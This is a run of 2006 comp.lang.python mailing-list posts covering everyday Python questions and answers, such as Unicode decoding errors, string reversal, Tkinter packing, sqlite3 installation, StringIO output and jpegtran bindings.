	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
Message-ID: <xqxlknwd5wz.fsf_-_@cola3.ca.boeing.com>

"Fredrik Lundh" <fredrik at pythonware.com> writes:

> Steve Holden wrote:
> 
> > But sadly people are much happier complaining on c.l.py than exerting
> > themselves to support the community with an open source issue tracker.
> 
> you're not on the infrastructure list, I hear.  python.org could still need a
> few more roundup volunteers, but it's not like nobody's prepared to con-
> tribute manhours.  don't underestimate the community.
> 
> </F> 
> 
> 
> 

I'm not on the infrastructure list either.  But I wonder why it is
"Roundup or else non-python COTS"?  I gave up on Roundup a while ago
due to too many crashes.  I'm now using Trac:

a) Open Source
b) Python
c) Adequate functionality (for me at least)

http://trac.edgewall.org/

I'm not trying to "sell" Trac, but I would like to know what drove the
developers away from it.

-- 
Harry George
PLM Engineering Architecture


From stephane at harobed.org  Fri Oct  6 03:50:10 2006
From: stephane at harobed.org (=?ISO-8859-1?Q?KLEIN_St=E9phane?=)
Date: Fri, 06 Oct 2006 09:50:10 +0200
Subject: Package to handle table text render (handle space or tab between
	the columns) ?
Message-ID: <45260ab2$0$25946$ba4acef3@news.orange.fr>

Hi,

I would like print tabular values on terminal (stdout). Are there 
package to handle table text render ?

Thanks for your help,
Stephane


From jweida at gmail.com  Thu Oct 19 14:04:24 2006
From: jweida at gmail.com (Jerry)
Date: 19 Oct 2006 11:04:24 -0700
Subject: Decorators and how they relate to Python - A little insight please!
Message-ID: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>

I have just started to do some semi-serious programming (not one-off
specialized scripts) and am loving Python.  I just seem to get most of
the concepts, the structure, and the classes (something I struggled
with before in other languages).  I've seen many concepts on the web
(i.e. stacks, queues, linked lists) and can usually understand them
pretty well (event if I don't always know when to use them).  Now I've
come accross decorators and even though I've read the PEP and a little
in the documentation, I just don't get what they are or what problem
they are trying to solve.  Can anyone please point me to a general
discussion of decorators (preferrably explained with Python)?

Thanks,
Jerry



From bj_666 at gmx.net  Tue Oct 10 16:32:28 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Tue, 10 Oct 2006 22:32:28 +0200
Subject: what is this UnicodeDecodeError:....?
References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>
Message-ID: <pan.2006.10.10.20.32.27.653212@gmx.net>

In <1160504403.384348.253650 at k70g2000cwa.googlegroups.com>, kath wrote:

> To identify the date field in different files I have created a file
> called _globals where I keep all aliases for DATE in a array called
> 'alias_DATE'.
> 
> Array alias_DATE looks like,
> 
> alias_DATE=['TRADEDATE', 'Accounting Date', 'Date de VL','Datum',
> 'Kurs-datum', 'Date', 'Fecha Datos', 'Calculation Date', 'ClosingDate',
> 'Pricing Date', 'NAV Date', 'NAVDate', 'NAVDATE', 'ValuationDate',
> 'Datestamp', 'Fecha de Valoraci?n', 'Kurs-','datum',
> """Kurs-\ndatum""", "Kurs-\ndatum"]
> 
> Now I want the index of the column where date is there.  I followed the
> with followin code.
> 
> 
>>>> b=xlrd.open_workbook('Santander_051206.xls')
>>>> sh=b.sheet_by_index(0)
>>>> sh.cell_value(rowx=0, colx=11)
> u'Fecha de Valoraci\xf3n'
>>>> val=sh.cell_value(rowx=0, colx=11)
>>>> val
> u'Fecha de Valoraci\xf3n'
>>>> print val
> Fecha de Valoraci?n
>>>> import _globals		# the file where I have stored my 'alias_DATE' array
>>>> _globals.alias_DATE.index(val)
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xf3 in position
> 17: ordinal not in range(128)
>>>>
> 
> Though I have matching value in the array, why I am getting this error.

Because you are trying to compare a unicode string `val` with a byte
string in the list. The unicode string will be converted to a byte string
for this comparison with the default encoding: ASCII.  But '?' is not
contained in ASCII.

> Can any one please tell me why is this error, and how to get rid of
> this error. Because I have some files which containing some more
> special characters. 

Either use an unicode string in the list search too or explicitly encode
the unicode string `val` with the appropriate encoding before using it to
search the list.

Ciao,
	Marc 'BlackJack' Rintsch


From tejovathi.p at gmail.com  Fri Oct 13 21:59:14 2006
From: tejovathi.p at gmail.com (Teja)
Date: 13 Oct 2006 18:59:14 -0700
Subject: COM error
Message-ID: <1160791154.186493.167980@f16g2000cwb.googlegroups.com>

What is "ValueError: argument is not a COM object" ? I get this error
when I try to pass a COM object to a thread.

Any pointers????

Thanks

Teja



From rrr at ronadam.com  Thu Oct 19 14:59:52 2006
From: rrr at ronadam.com (Ron Adam)
Date: Thu, 19 Oct 2006 13:59:52 -0500
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <yRPZg.1144$T_1.410@newssvr14.news.prodigy.com>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<1161283281.065339.290070@i3g2000cwc.googlegroups.com>
	<yRPZg.1144$T_1.410@newssvr14.news.prodigy.com>
Message-ID: <6_PZg.6752$fl.6399@dukeread08>

James Stroud wrote:

> Of course, I think str.join can operate on iterators, as Paul Rubin 
> suggests:
> 
>  > print ''.join(reversed(x))
> 
> This latter approach still seems a little clunky, though.
> 
> James

Slices can be named so you could do...

 >>> reverser = slice(None, None, -1)
 >>>
 >>> 'abcdefg'[reverser]
'gfedcba'


Ron


From python.sam at googlemail.com  Sun Oct  1 18:27:52 2006
From: python.sam at googlemail.com (sam)
Date: 1 Oct 2006 15:27:52 -0700
Subject: how to reuse class deinitions?
Message-ID: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>

hello all,

pretty straightforward question here, i think. i'm experimenting with
classes and have written a File class that looks like it's worth
keeping for future use. however, i cannot work out where to put it for
this purpose or how to get it in.

i figured i'd try a bit of (un)inspired guesswork by putting it in my
module folder, appending sys.path to tell the interpreter where this
was, and importing it like a module. probably don't need to tell you
that that didn't work, but i'm drawing a blank in the tutorial and not
getting any luck in the archives here. maybe i'm just not searching
with the right words. it's late here and my brain's switching off...

cutting and pasting it into the interpreter is a bit of a bore. any
help?

much appreciated in advance,

sam

PS i've just reached first base with classes, and i think i'm starting
to see what the big deal is about OOP. it's like someone's turned a
light on.



From grahn+nntp at snipabacken.dyndns.org  Sun Oct  1 04:41:06 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 1 Oct 2006 08:41:06 GMT
Subject: Is this a bug? Python intermittently stops dead for seconds
References: <mailman.1027.1159685538.10491.python-list@python.org>
	<pUJTg.130151$zy5.1802764@twister1.libero.it>
Message-ID: <slrnehuvov.gim.grahn+nntp@frailea.sa.invalid>

On Sun, 01 Oct 2006 07:13:25 GMT, Giovanni Bajo <noway at sorry.com> wrote:
> charlie strauss wrote:
>
>> Below is a simple program that will cause python to intermittently
>> stop executing for a few seconds.  it's 100% reproducible on my
>> machine.
>
> Confirmed with Python 2.4.2 on Windows.

And Python 2.3.5 on Linux, amd64.  In fact, it causes heavy swapping so it
will disrupt other processes, too.

I didn't read the code, stupid as I am, but I trust that the behavior
doesn't match what the code actually tries to do.

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From eldiener_no_spam_here at earthlink.net  Mon Oct  9 18:18:37 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Mon, 09 Oct 2006 22:18:37 GMT
Subject: Python component model
In-Reply-To: <mailman.141.1160429886.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<mailman.130.1160418618.11739.python-list@python.org>	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
Message-ID: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>

Robert Kern wrote:
> Edward Diener No Spam wrote:
> 
>> There's nothing wrong with Python's introspection. In fact Python's 
>> facilities in this area and its support for metadata are stronger than 
>> any of these other languages ! However there is no common component 
>> model which specifies that X is a "property" or Y is an "event" of a 
>> Python class which can be visually manipulated at design-time and 
>> automagically set at run-time, so that any given Python RAD visual 
>> environment will treat a Python class, specified as a component, in 
>> exactly the same way. Also in these other languages, a component is 
>> different from a class in that a component is recognized in a 
>> particular way, often so that the component can interact if necessary 
>> with its container and/or visual site.
> 
> You'll definitely want to take a look at Enthought's Traits (disclaimer: 
> I work for Enthought). I'm supposed to be on vacation now, so I'm not 
> going to give you the full rundown of Traits and Traits UI, so I'm 
> simply going to point you to the page we have about it:
> 
>   http://code.enthought.com/traits/

It looks as if traits is an attempt to create a "property" in the 
component terminology which I originally specified. I will take a look 
at it.

> 
> You can talk to the rest of the Enthought crew on the enthought-dev 
> mailing list if you have any questions:
> 
>   https://mail.enthought.com/mailman/listinfo/enthought-dev

Already subscribed. Thanks !


From wildemar at freakmail.de  Wed Oct  4 18:02:51 2006
From: wildemar at freakmail.de (Wildemar Wildenburger)
Date: Thu, 05 Oct 2006 00:02:51 +0200
Subject: A Universe Set
In-Reply-To: <slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <45242F8B.5070008@freakmail.de>

Jorgen Grahn wrote:
> - the wildcard object, which compares equal to everything else
> - infinite xrange()s
> - the black hole function 'def f(*args): pass'
> - the identity function 'def f(x): return x'

Any use cases for these?


From python.list at tim.thechases.com  Wed Oct 25 15:28:11 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 25 Oct 2006 14:28:11 -0500
Subject: question about True values
In-Reply-To: <grO%g.152$1n3.4134@news.tufts.edu>
References: <grO%g.152$1n3.4134@news.tufts.edu>
Message-ID: <453FBACB.8050403@tim.thechases.com>

> I'm a little confused. Why doesn't s evaluate to True in the first part, 
>   but it does in the second? Is the first statement something different?
> 
>  >>> s = 'hello'
>  >>> s == True
> False
>  >>> if s:
> 	print 'hi'

The "if s" does an implicit (yeah, I know, "explicit is better 
than implicit") conversion to bool, like

	if bool(s):

And as such, you'll find that

	bool(s) == True

You can learn more at

	http://docs.python.org/lib/truth.html

where you'll see that it's not really exactly a bool() call, but 
that strings are a special case listed here.  And if not, they 
also have a __len__ method which would return zero/non-zero in 
the even that strings weren't handled, making the "actual" test 
(if strings weren't special-cased)

	(s.__len__() <> 0) == True

-tkc






From nogradi at gmail.com  Sun Oct 29 14:15:11 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Sun, 29 Oct 2006 20:15:11 +0100
Subject: lossless transformation of jpeg images
Message-ID: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com>

Hi all,

Last time I checked PIL was not able to apply lossless transformations
to jpeg images so I've created Python bindings (or is it a wrapper? I
never knew the difference :)) for the jpegtran utility of the
Independent Jpeg Group.

The jpegtran utility is written in C and is very efficient, fast and
robust. It can rotate, flip, transpose and transverse jpeg images in a
lossless way, see www.ijg.org for more details.

The bindings allow you to use all jpegtran features from Python.

Downloads are here: http://ebiznisz.hu/python-jpegtran/

Any feedback is very welcome, especially if you are able to compile it
on non-standard platforms. It has been tested on Linux and Python 2.3.

Usage example:

import jpegtran

transformer = jpegtran.transformer( )

transformer.rotate( 90, 'pic.jpg', 'pic_rotated.jpg' )
transformer.flip( 'horizontal', 'pic.jpg', 'pic_flipped.jpg' )
transformer.transpose( 'pic.jpg', 'pic_transposed.jpg' )
transformer.transverse( 'pic.jpg', 'pic_transversed.jpg' )
transformer.gray( 'pic.jpg', 'pic_gray.jpg' )


From serestaAtwanadooDotnl  Wed Oct  4 20:03:58 2006
From: serestaAtwanadooDotnl (goyatlah)
Date: Thu, 05 Oct 2006 02:03:58 +0200
Subject: Urlnames in urllib2
Message-ID: <3ei8i2hosr67gdsmv75llvvr8ot920piqq@4ax.com>

I'm trying to figure out how to get the exact opened url after a
urlopen in urllib2.
Say you have a link : http://myhost/mypath : what do I get back,
- the file mypath on myhost
- the file index.html on myhost/mypath,
- or maybe something else.
Snd what about the following: http;//myhost/index.htm where index.htm
is actually a directory.
With  urllib2.geturl() I can find out if the name is changed to
mypath/ or index.htm/ but it seems that is the only thing I can find
out.

Any help? TIA :)



From chris at kateandchris.net  Mon Oct 23 17:17:01 2006
From: chris at kateandchris.net (Chris Lambacher)
Date: Mon, 23 Oct 2006 17:17:01 -0400
Subject: python2.5 importerror on md5
In-Reply-To: <1161635326.472236.12070@i42g2000cwa.googlegroups.com>
References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>
	<mailman.1002.1161631426.11739.python-list@python.org>
	<1161631938.267555.303790@h48g2000cwc.googlegroups.com>
	<mailman.1008.1161634211.11739.python-list@python.org>
	<1161635326.472236.12070@i42g2000cwa.googlegroups.com>
Message-ID: <20061023211701.GA2186@kateandchris.net>

On Mon, Oct 23, 2006 at 01:28:46PM -0700, samn wrote:
> i think the problem is different versions of openssl on the two
> machines , 0.9.7a and 0.9.8b
I second that this is the likely culprit.  I got bit by it while trying to
do cross compile.  The module build process assumes a couple of locations that
a particular library might be and takes the first one it finds, regardless of
which one you actually want it to use.  I ended up making modifications to
what modules were installed to get md5 to finally import.

My experiences are outlined at this page: 
http://whatschrisdoing.com/blog/2006/10/06/howto-cross-compile-python-25/

-Chris


From robin at reportlab.com  Wed Oct 25 06:56:06 2006
From: robin at reportlab.com (Robin Becker)
Date: Wed, 25 Oct 2006 11:56:06 +0100
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <ehndnf$5n4$1@sea.gmane.org>
References: <453F3189.5000502@chamonix.reportlab.co.uk>
	<ehndnf$5n4$1@sea.gmane.org>
Message-ID: <453F42C6.9050108@chamonix.reportlab.co.uk>

Travis E. Oliphant wrote:
> Robin Becker wrote:
........
> NumPy defines an array and an array scalar for all signed and unsigned 
> integers defined in C.
> 
> import numpy as nx
> type(nx.array([1,2,3],dtype=nx.uint32)[0])
> 
> <type 'numpy.uint32'>

great, but do we have a pure python version?
-- 
Robin Becker



From fredrik at pythonware.com  Wed Oct 11 18:04:36 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 00:04:36 +0200
Subject: python 2.5 & sqlite3
In-Reply-To: <1160603125.964879.17480@m73g2000cwd.googlegroups.com>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>	<mailman.337.1160600574.11739.python-list@python.org>
	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>
Message-ID: <egjppl$nab$1@sea.gmane.org>

BartlebyScrivener wrote:
> Fredrik Lundh wrote:
> 
>> wasting time on broken distributions?
> 
> It's not broken.

of course it's broken; the official release ships with properly built 
and properly tested versions of the stuff you're struggling to install.

 > I like Pythonwin better than IDLE.

last time I checked, the PythonWin IDE was part of the win32all kit, 
available from:

https://sourceforge.net/project/showfiles.php?group_id=78018&package_id=79063

 > Either way I need to know where to put the sqlite files, right?

not if you're using a proper release, no.

</F>



From __peter__ at web.de  Tue Oct 31 07:02:34 2006
From: __peter__ at web.de (Peter Otten)
Date: Tue, 31 Oct 2006 13:02:34 +0100
Subject: Help me understand this iterator
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
Message-ID: <ei7e0o$7lt$02$2@news.t-online.com>

LaundroMat wrote:

[me hitting send too soon]

> Now, if I look at this script step by step, I don't understand:

> - where the "while 1:"-loop is quitted.

> class DirectoryWalker:
>     # a forward iterator that traverses a directory tree
> 
>     def __init__(self, directory):
>         self.stack = [directory]
>         self.files = []
>         self.index = 0
> 
>     def __getitem__(self, index):
>         while 1:
>             try:
>                 file = self.files[self.index]
>                 self.index = self.index + 1
>             except IndexError:
>                 # pop next directory from stack
>                 self.directory = self.stack.pop()

If self.stack is empty, pop() will raise an IndexError which terminates both
the 'while 1' loop in __getitem__() and the enclosing 'for file in ...'
loop

>                 self.files = os.listdir(self.directory)
>                 self.index = 0
>             else:
>                 # got a filename
>                 fullname = os.path.join(self.directory, file)
>                 if os.path.isdir(fullname) and not
> os.path.islink(fullname):
>                     self.stack.append(fullname)
>                 return fullname

The return statement feeds the next file to the for loop.

Peter



From istvan.albert at gmail.com  Fri Oct 20 12:34:55 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 20 Oct 2006 09:34:55 -0700
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<mailman.855.1161361728.11739.python-list@python.org>
Message-ID: <1161362095.822361.159160@b28g2000cwb.googlegroups.com>


egbert wrote:

> String reversal comes in handy when you do palindromes.

Yes, that's where the big bucks are, the Palindrome Industry.

It is the shortsightedness of the Python core developers that keeps the
palindrome related functions and algorithms out of the standard library

i.



From onurb at xiludom.gro  Tue Oct 24 04:41:26 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 10:41:26 +0200
Subject: can't open word document after string replacements
In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
Message-ID: <453dd1b8$0$15214$426a74cc@news.free.fr>

Antoine De Groote wrote:
> Hi there,
> 
> I have a word document containing pictures and text. This documents
> holds several 'ABCDEF' strings which serve as a placeholder for names.
> Now I want to replace these occurences with names in a list (members).

Do you know that MS Word already provides this kind of features ?

> I
> open both input and output file in binary mode and do the
> transformation. However, I can't open the resulting file, Word just
> telling that there was an error. Does anybody what I am doing wrong?

Hand-editing a non-documented binary format may lead to undesirable
results...

> Oh, and is this approach pythonic anyway? 

The pythonic approach is usually to start looking for existing
solutions... In this case, using Word's builtin features and Python/COM
integration would be a better choice IMHO.

> (I have a strong Java
> background.)

Nobody's perfect !-)

> Regards,
> antoine
> 
> 
> import os
> 
> members = somelist
> 
> os.chdir(somefolder)
> 
> doc = file('ttt.doc', 'rb')
> docout = file('ttt1.doc', 'wb')
> 
> counter = 0
> 
> for line in doc:

Since you opened the file as binary, you should use file.read() instead.
Ever wondered what your 'lines' look like ?-)

>     while line.find('ABCDEF') > -1:

.doc is a binary format. You may find such a byte sequence in it's
content in places that are *not* text content.

>         try:
>             line = line.replace('ABCDEF', members[counter], 1)
>             docout.write(line)

You're writing back the whole chunk on each iteration. No surprise the
resulting document is corrupted.

>             counter += 1

seq = list("abcd")
for indice, item in enumerate(seq):
  print "%02d : %s" % (indice, item)


>         except:
>             docout.write(line.replace('ABCDEF', '', 1))
>     else:
>         docout.write(line)
> 
> doc.close()
> docout.close()
> 



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From jweida at gmail.com  Tue Oct 17 12:29:24 2006
From: jweida at gmail.com (Jerry)
Date: 17 Oct 2006 09:29:24 -0700
Subject: making a valid file name...
In-Reply-To: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
Message-ID: <1161102564.384778.311870@i3g2000cwc.googlegroups.com>

I would suggest something like string.maketrans
http://docs.python.org/lib/node41.html.  I don't remember exactly how
it works, but I think it's something like

>>> invalid_chars = "abc"
>>> replace_chars = "123"
>>> char_map = string.maketrans(invalid_chars, replace_chars)
>>> filename = "abc123.txt"
>>> filename.translate(charmap)
'123123.txt'

--
Jerry



From no-spam at no-spam-no-spam.com  Thu Oct 26 16:48:58 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 22:48:58 +0200
Subject: ANN: wxPython 2.7.1.3
In-Reply-To: <mailman.1291.1161888414.11739.python-list@python.org>
References: <mailman.1291.1161888414.11739.python-list@python.org>
Message-ID: <ehr6vs$258l$1@ulysses.news.tiscali.de>

Robin Dunn wrote:
> Announcing
> ----------
> 
> The 2.7.1.3 release of wxPython is now available for download at
> http://wxpython.org/download.php.  This release is a yet another
> quick-turnaround bugfix release designed to solve some problems, plust
> some minor enhancements.  This will likely be the last 2.7.1.x
> release.  Source and binaries are available for both Python 2.4 and
> 2.5 for Windows and Mac, as well some pacakges for varous Linux
> distributions.  A summary of changes is listed below and also at
> http://wxpython.org/recentchanges.php.

See py2.3 is still supported for Mac.  
I'd like a py2.3 version for Windows still :cry-baby:

-robert


From fredrik at pythonware.com  Wed Oct  4 08:39:26 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 14:39:26 +0200
Subject: filling a frame with a widget
References: <83e8215e0610040455v36b3e7b9r2394a476b3aa41dd@mail.gmail.com>
Message-ID: <eg0a1u$ggb$1@sea.gmane.org>

Paolo Pantaleo wrote:

>I have this code
>
> from Tkinter import *
>
> root=Tk()
> Button(root).pack(fill=BOTH)
> root.mainloop()
>
> I would expect the button filling all the client draw area of the
> Frame, but when I resize the root window the button becomes wider, but
> not higher ( I get some empty space under the button).

pack(fill=BOTH, expand=1) should do the trick.

the pack geometry manager works by slicing off vertical or horizontal areas from
the parent, one area per widget.  the "fill" option controls how to place the widget
inside that area, the "expand" option controls how to handle any extra space left
in the parent.  if "expand" isn't set for any child widget, the extra space is left un-
used.

</F> 





From bignose+hates-spam at benfinney.id.au  Wed Oct 11 02:08:48 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 16:08:48 +1000
Subject: sufficiently pythonic code for testing type of function
References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>
	<87vemr76fu.fsf@benfinney.id.au>
	<463ff4860610102253l79c94092q398746105cabf145@mail.gmail.com>
Message-ID: <87ejtf75an.fsf@benfinney.id.au>

"Theerasak Photha" <hanumizzle at gmail.com> writes:

> On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> > Why have you re-implemented (a less-functional version of) 'isinstance'?
>
> Ignorance, I think. But the issue is resolved now. Thank you.

Hopefully it is also merely ignorance that leads you to such obsessive
type-checking.

Here's a discussion on EAFP versus LBYL that gets a lot of Google juice.

    <URL:http://mail.python.org/pipermail/python-list/2003-May/163820.html>

-- 
 \         "I planted some bird seed. A bird came up. Now I don't know |
  `\                               what to feed it."  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From fredrik at pythonware.com  Mon Oct 16 12:07:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 18:07:32 +0200
Subject: Convert StringIO to string
In-Reply-To: <022f01c6f12a$1a047ce0$fde92452@bowlas>
References: <022f01c6f12a$1a047ce0$fde92452@bowlas>
Message-ID: <eh0ao4$5u6$1@sea.gmane.org>

Jonathan Bowlas wrote:

> Ok, I think I'm explaining this badly because I've used getvalue() in 
> the script I originally submitted to the list, see below:
> 
> from StringIO import StringIO
> 
> def generator_file(rsspath,titleintro,tickeropt):
> 
>       scripter=StringIO()
> 
>       scripter.write('<script type="text/javascript">\n')
> 
>       scripter.write('new rss_ticker(%s, %s, %s)\n' % (rsspath, 
> titleintro, tickeropt))
> 
>       scripter.write('</script>\n')
> 
>       return scripter.getvalue()
> 
> The problem is this script returns the following:
> 
> &lt;script type="text/javascript"&gt;
> 
> new rss_ticker(www.bbc.co.uk, True, True) &lt;/script&gt;

no, it doesn't.  it returns "<script" etc.  as a string.  because that's 
what getvalue() does.

if you end up getting &lt; in the output, it's because you're passing 
the output from generator_file(...) to some other part of your program 
that does HTML escaping.  StringIO has nothing to do with that, and no 
amount of replacing inside generator_file() will change that.

> So what am I doing wrong?

coding under the influence of confusion?

can you post the code that calls generator_file() and the code that 
writes the return value to the browser?

</F>



From tinodb at gmail.com  Tue Oct 17 18:34:13 2006
From: tinodb at gmail.com (TiNo)
Date: Wed, 18 Oct 2006 00:34:13 +0200
Subject: right curly quote and unicode
Message-ID: <435b46e50610171534ue45d3afsc5bc26a981ba1bc0@mail.gmail.com>

Hi all,

I am trying to compare my Itunes Library xml to the actual files on my
computer.
As the xml file is in UTF-8 encoding, I decided to do the comparison of the
filenames in that encoding.
It all works, except with one file. It is named 'The Chemical
Brothers-Elektrobank-04 - Don't Stop the Rock (Electronic Battle Weapon
Version).mp3'. It goes wrong with the apostrophe in Don't. That is actually
not an apostrophe, but ASCII char 180: ?
In the Itunes library it is encoded as: Don%E2%80%99t

I do some some conversions with both the library path names and the folder
path names. Here is the code:
(in the comment I dispay how the Don't part looks. I got this using print
repr(filename))
-------------------------------------------------------------
#Once I have the filenames from the library I clean them using the following
code (as filenames are in the format '
file://localhost/m:/music/track%20name.mp3')

filename = urlparse.urlparse(filename)[2][1:]  # u'Don%E2%80%99t' ; side
question, anybody who nows a way to do this in a more fashionable way?
filename = urllib.unquote(filename) # u'Don\xe2\x80\x99t'
filename = os.path.normpath(filename) # u'Don\xe2\x80\x99t'

I get the files in my music folder with the os.walk method and then
I do:

filename = os.path.normpath(os.path.join(root,name))  # 'Don\x92t'
filename = unicode(filename,'latin1') # u'Don\x92t'
filename = filename.encode('utf-8') # 'Don\xc2\x92t'
filename = unicode(filename,'latin1') # u'Don\xc2\x92t'

-----------------------------

I think the folder part is a bit weird with the unicode, encode, unicode
conversions, but it works for all the other songs. Of which some contain
latin1 characters like accented e and a, and c's with an s underneath them.
Only this wierd quote apostrophe thingy is not working. What am I doing
wrong?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20061018/482d2b1e/attachment.html>

From steve at holdenweb.com  Sat Oct 21 19:46:19 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 22 Oct 2006 00:46:19 +0100
Subject: print dos format file into unix format
In-Reply-To: <1161469067.180921.35200@i3g2000cwc.googlegroups.com>
References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com>
Message-ID: <ehebf4$o61$1@sea.gmane.org>

PengYu.UT at gmail.com wrote:
> Suppose I have a dos format text file. The following python code will
> print ^M at the end. I'm wondering how to print it in unix format.
> 
> fh = open(options.filename)
> for line in fh.readlines()
>   print line,
> 
> Thanks,
> Peng
> 
open(outfile, "wb").write(open(infile, "rb").read().replace("\r", ""))

Or something like that ... :)

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From pydecker at gmail.com  Sat Oct 21 13:39:15 2006
From: pydecker at gmail.com (Peter Decker)
Date: Sat, 21 Oct 2006 13:39:15 -0400
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161444416.749636.172530@i42g2000cwa.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161444416.749636.172530@i42g2000cwa.googlegroups.com>
Message-ID: <ca55a9900610211039k1307ce4ye1e32b0e1c469ec7@mail.gmail.com>

On 21 Oct 2006 08:26:56 -0700, sturlamolden <sturlamolden at yahoo.no> wrote:

> That leaves you with wxPython (utterly ugly API, remninds me of MFC and
> Motif), PyQt (very expensive unless GPL is not a show stopper) or
> PyObjC.

I too hated the wxPython API, but loved how it looked. And since I
need things to run cross-platform (in my case, Linux and Windows), I
held my breath and coded in wxPython, because the results were well
worth it.

Now that I've discovered Dabo, which wraps wxPython, hiding the C++
ugliness under a very Pythonic API, I have the best of both worlds. I
get to code naturally, and the results look great.

-- 

# p.d.


From http  Sun Oct  8 06:21:00 2006
From: http (Paul Rubin)
Date: 08 Oct 2006 03:21:00 -0700
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.49.1160301761.11739.python-list@python.org>
Message-ID: <7x4pufm7lf.fsf@ruckus.brouhaha.com>

Steve Holden <steve at holdenweb.com> writes:
> > There would also need to be a flag field to indicate the canonical
> > ordering
> > for writing out the full name: e.g. family-name-first, given-names-first.
> > Do we need something else for the Vietnamese case?
> 
> You'd think some standards body would have worked on this, wouldn't
> you. I couldn't think of a Google search string that would lead to
> such information, though. Maybe other, more determined, readers can do
> better.

Librarians have to deal with this all the time, I expect.  I believe
library catalogs often use two separate fields, one for some
representation of the name intended for lexicographic sorting, and
another for display to the user.  There's an exercise in Knuth vol 3
showing a bunch of examples, using both author names and book titles.


From gagsl-py at yahoo.com.ar  Thu Oct 19 17:51:11 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 18:51:11 -0300
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com
 >
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>

At Thursday 19/10/2006 18:38, Bernard Lebel wrote:

>By default, when I import a module in Python, Python looks for pyd,
>dll, py, then pyw and finally pyc file.
>
>In our company we do not use pyd and dll for Python stuff. Is there
>any chance to disable Python from looking at these? Perhaps a flag we
>can change in Python? Or would it be doable by recompiling the
>sources?

You can't; part of the standard library are .pyd/.dll files.
Those existence checks should be fairly fast - why are you worried about them?


-- 
Gabriel Genellina
Softlab SRL 

